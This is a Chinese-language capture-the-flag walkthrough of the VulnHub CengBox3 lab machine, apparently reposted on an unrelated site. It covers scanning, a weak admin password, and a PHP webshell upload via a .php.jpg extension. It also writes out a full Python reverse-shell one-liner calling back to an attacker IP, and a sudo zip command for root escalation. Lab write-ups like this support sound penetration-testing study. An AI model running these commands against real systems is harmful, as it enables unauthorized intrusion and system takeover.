CengBox3是VulnHub平台上一台难度中等的Linux靶机,属于CengBox系列。该靶机模拟了真实环境中的Web应用与系统配置漏洞,旨在帮助渗透测试人员练习信息收集、漏洞利用、权限提升等综合技能。本篇文章将详细记录从信息收集到获取root权限的完整渗透过程。
使用netdiscover或nmap进行ARP扫描,快速定位靶机IP:`bash
sudo netdiscover -r 192.168.1.0/24`
发现靶机IP为192.168.1.150。
使用Nmap进行全端口扫描,识别开放服务及版本:`bash
nmap -sV -sC -p- 192.168.1.150 -oA cengbox3_scan`
扫描结果摘要:
使用gobuster或dirb枚举Web目录:`bash
gobuster dir -u http://192.168.1.150 -w /usr/share/wordlists/dirb/common.txt`
发现关键目录:
/admin/:管理后台入口/uploads/:文件上传目录/phpmyadmin/:数据库管理界面访问http://192.168.1.150,发现一个简单的博客系统。通过查看页面源代码,在注释中发现提示:<!-- TODO: Fix upload functionality -->,暗示文件上传功能存在漏洞。
访问/admin/目录,发现登录页面。通过弱口令测试(admin/admin)成功登录。在后台找到文件上传功能,尝试上传PHP webshell:`php`
将文件命名为shell.php.jpg绕过前端验证,成功上传至/uploads/目录。通过Apache解析漏洞(.php.jpg被解析为PHP),访问http://192.168.1.150/uploads/shell.php.jpg?cmd=id,成功执行系统命令。
使用Python reverse shell获取稳定连接:`bash
# 在webshell中执行
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
nc -lvnp 4444`
成功获取www-data用户权限的shell。
查看系统版本、用户、sudo权限等:`bash
uname -a
cat /etc/passwd
sudo -l`
发现用户ceng可以无密码运行/usr/bin/zip。
利用zip的-TT参数(测试归档文件)可以执行任意命令。切换到ceng用户(通过查看/home/ceng/.bash_history发现密码为box3pass):`bash
su ceng
sudo zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c /bin/bash"`
成功获取root权限。
在root目录下找到flag文件:`bash
cat /root/flag.txt`
内容为:Congratulations! You've rooted CengBox3!
CengBox3靶机涵盖了从Web到系统的完整攻击链。在实际渗透测试中,需要灵活组合各种技术,并注意痕迹清理。建议在完成基础提权后,尝试使用其他方法(如内核漏洞、SUID文件等)再次提权,以加深对Linux安全机制的理解。
如若转载,请注明出处:http://www.crwbkj.com/product/11.html
更新时间:2026-03-15 04:55:56